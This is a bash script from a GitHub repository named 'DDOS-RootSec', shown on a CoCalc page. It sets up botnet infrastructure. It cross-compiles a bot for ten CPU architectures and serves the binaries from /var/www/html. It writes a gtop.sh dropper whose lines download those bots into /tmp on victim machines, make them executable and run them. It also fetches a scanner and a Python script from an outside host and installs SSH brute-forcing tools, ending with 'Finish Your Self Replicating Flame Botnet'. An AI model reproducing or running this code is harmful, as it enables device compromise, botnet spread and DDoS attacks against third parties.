Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Compilers/NSA-editv2.5bdb48.sh
5038 views
1
#!/bin/bash
2
3
echo "###############################################################################"
4
echo "# ___ __________ ____ _______ _____ _______________.___. ___ #"
5
echo "# / _ \_/\ \______ \/_ |\ \ / _ \\______ \__ | | / _ \_/\ #"
6
echo "# \/ \___/ | | _/ | |/ | \ / /_\ \| _// | | \/ \___/ #"
7
echo "# | | \ | / | \/ | \ | \\____ | #"
8
echo "# |______ / |___\____|__ /\____|__ /____|_ // ______| #"
9
echo "# \/ \/ \/ \/ \/ #"
10
echo "###############################################################################"
11
12
#########################################
13
###############Botnames##################
14
#########################################
15
L1='jackmymipsel' #mipsel
16
L2='jackmymips' #mips
17
L3='jackmysh4' #sh4
18
L4='jackmyx86' #x86_64
19
L5='jackmyarmv6' #armv6l
20
L6='jackmyi686' #i686
21
L7='jackmypowerpc' #powerpc
22
L8='jackmyi586' #i586
23
L9='jackmym68k' #m68k
24
L10='jackmysparc' #sparc
25
26
#########################################
27
##############Wgetlinks##################
28
#########################################
29
mips='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2'
30
mipsel='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2'
31
sh4='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2'
32
x86_64='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2'
33
armv6l='http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2'
34
i686='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2'
35
ppc='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2'
36
i586='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2'
37
m68k='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2'
38
sparc='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2'
39
if [ $# != 1 ]; then
40
echo "Usage: sh NSA-editv2.sh <file to compile> if not executed like this, it will not fucking work."
41
exit 0
42
fi
43
sleep 5
44
echo "\e[0;31myou have 5 seconds to cancel this if you fucked up"
45
#########################################
46
################MISC#####################
47
#########################################
48
cd /root
49
apt-get install tar -q
50
yum install tar -y -q
51
yum install bzip -y || yum install bzip2 -y
52
#########################################
53
################WGETS#################
54
#########################################
55
echo "\e[0;31mWgetting cross-compilers be paitent."
56
if [ -d cross-compiler-mips ]
57
then
58
echo -e "\e[0;31mcross-compiler-mips is present, no need for wget"
59
else
60
wget --quiet $mips
61
tar -xvjf cross-compiler-mips*
62
fi
63
if [ -d cross-compiler-mipsel ]
64
then
65
echo -e "\e[0;31mcross-compiler-mipsel is present, no need for wget"
66
else
67
wget --quiet $mipsel
68
tar -xvjf cross-compiler-mipsel*
69
fi
70
if [ -d cross-compiler-sh4 ]
71
then
72
echo -e "\e[0;31mcross-compiler-sh4 is present, no need for wget"
73
else
74
wget --quiet $sh4
75
tar -xvjf cross-compiler-sh4*
76
fi
77
if [ -d cross-compiler-x86_64 ]
78
then
79
echo -e "\e[0;31mcross-compiler-x86_64 is present, no need for wget"
80
else
81
wget --quiet $x86_64
82
tar -xvjf cross-compiler-x86_64*
83
fi
84
if [ -d cross-compiler-armv6l ]
85
then
86
echo -e "\e[0;31mcross-compiler-armv6l is present, no need for wget"
87
else
88
wget --quiet $armv6l
89
tar -xvjf cross-compiler-armv6l*
90
fi
91
if [ -d cross-compiler-powerpc ]
92
then
93
echo -e "\e[0;31mcross-compiler-powerpc is present, no need for wget"
94
else
95
wget --quiet $ppc
96
tar -xvjf cross-compiler-powerpc*
97
fi
98
if [ -d cross-compiler-m68k ]
99
then
100
echo -e "\e[0;31mcross-compiler-m68k is present, no need for wget"
101
else
102
wget --quiet $m68k
103
tar -xvjf cross-compiler-m68k*
104
fi
105
if [ -d cross-compiler-sparc ]
106
then
107
echo -e "\e[0;31mcross-compiler-sparc is present, no need for wget"
108
else
109
wget --quiet $sparc
110
tar -xvjf cross-compiler-sparc*
111
fi
112
if [ -d cross-compiler-i586 ]
113
then
114
echo -e "\e[0;31mcross-compiler-i586 is present, no need for wget"
115
else
116
wget --quiet $i586
117
tar -xvjf cross-compiler-i586*
118
fi
119
if [ -d cross-compiler-i686 ]
120
then
121
echo -e "\e[0;31mcross-compiler-i686 is present, no need for wget"
122
else
123
wget --quiet $i686
124
tar -xvjf cross-compiler-i686*
125
fi
126
rm -rf *.tar.bz2
127
echo -e "\e[0;31mDone."
128
sleep 3
129
130
#########################################
131
##############Compiling##################
132
#########################################
133
./cross-compiler-mipsel/bin/mipsel-gcc -static -lpthread -pthread -DMIPSEL -o $L1 $1 > /dev/null 2>&1
134
./cross-compiler-mips/bin/mips-gcc -static -lpthread -pthread -Dmips -o $L2 $1 > /dev/null 2>&1
135
./cross-compiler-sh4/bin/sh4-gcc -static -lpthread -pthread -Dsh4 -o $L3 $1 > /dev/null 2>&1
136
./cross-compiler-x86_64/bin/x86_64-gcc -static -lpthread -pthread -Dx86_64 -o $L4 $1 > /dev/null 2>&1
137
./cross-compiler-armv6l/bin/armv6l-gcc -static -lpthread -pthread -Darmv6l -o $L5 $1 > /dev/null 2>&1
138
./cross-compiler-i686/bin/i686-gcc -static -lpthread -pthread -Di686 -o $L6 $1 > /dev/null 2>&1
139
./cross-compiler-powerpc/bin/powerpc-gcc -static -lpthread -pthread -Dpowerpc -o $L7 $1 > /dev/null 2>&1
140
./cross-compiler-i586/bin/i586-gcc -static -lpthread -pthread -Di586 -o $L8 $1 > /dev/null 2>&1
141
./cross-compiler-m86k/bin/m86k-gcc -static -lpthread -pthread -Dm86k -o $L9 $1 > /dev/null 2>&1
142
./cross-compiler-sparc/bin/sparc-gcc -static -lpthread -pthread -Dsparc -o $L10 $1 > /dev/null 2>&1
143
echo -e "\e[0;31mDone compiling binarys, stripped and bytes reduced."
144
mv jackmy* /var/www/html/
145
146
######################################
147
##############/'d'####################
148
######################################
149
echo -e "\e[0;31mIf you do not have apache/a webserver setup, cancel this and install it."
150
echo -e "\e[0;31mThis was removed because it's annoying to install it through bash, do it yourself."
151
152
#########################################
153
############Setting up gtop.sh###########
154
#########################################
155
echo -e "\e[0;31mTouching gtop.sh"
156
rm -rf gtop.sh
157
cd /var/www/html/; touch gtop.sh
158
echo -e "\e[0;31mCreating Payload now."
159
echo -e "\e[0;31mThis will take a few, be patient.."
160
sleep 2
161
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L1 && chmod +x $L1 && ./$L1">> gtop.sh
162
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L2 && chmod +x $L2 && ./$L2">> gtop.sh
163
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L3 && chmod +x $L3 && ./$L3">> gtop.sh
164
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L4 && chmod +x $L4 && ./$L4">> gtop.sh
165
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L5 && chmod +x $L5 && ./$L5">> gtop.sh
166
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L6 && chmod +x $L6 && ./$L6">> gtop.sh
167
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L7 && chmod +x $L7 && ./$L7">> gtop.sh
168
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L8 && chmod +x $L8 && ./$L8">> gtop.sh
169
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L9 && chmod +x $L9 && ./$L9">> gtop.sh
170
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L10 && chmod +x $L10 && ./$L10">> gtop.sh
171
#########################################
172
###############ULIMIT#####################
173
#########################################
174
cd /root
175
ulimit -u 999999;ulimit -n 999999
176
echo "#.bashrc">> .bashrc
177
echo "#ulimit set">> .bashrc
178
echo "ulimit -u 999999">> .bashrc
179
echo "ulimit -n 999999">> .bashrc
180
bash
181
#########################################
182
###############WGETS#####################
183
#########################################
184
$wgetLRAB='http://b.1339.cf/pbehfwe.zip'
185
$wgetscan='http://b.1339.cf/xhuudjm.py'
186
187
#########################################
188
######Installing mods for scanning#######
189
#########################################
190
echo -e "\e[0;31mInstalling Dependencies For Scanning"
191
sleep 3
192
echo -e "\e[0;31mFinishing up install...."
193
yum install cpan wget curl glibc.i686 -y
194
cpan force install Parallel::ForkManager
195
cpan force install IO::Socket
196
cpan force install IO::Select
197
sleep 2
198
yum install gcc php-devel php-pear libssh2 libssh2-devel
199
pecl install -f ssh2
200
touch /etc/php.d/ssh2.ini
201
echo extension=ssh2.so > /etc/php.d/ssh2.ini
202
cpan force install Net::SSH2
203
yum install python-paramiko
204
205
#########################################
206
################LRAB#####################
207
#########################################
208
echo -e "\e[0;31mScanner can be found in /root/scan"
209
sleep 2
210
mkdir /root/scan/
211
cd /root/scan/
212
wget --quiet $wgetLRAB -O LRAB.zip; unzip LRAB.zip; wget --quiet $wgetscan -O scan.py;
213
214
echo "I Got To Give Some Thanks To ShAy sense it was based off of NSA.sh"
215
echo "Done, Now Finish Your Self Replicating Flame Botnet"
216
217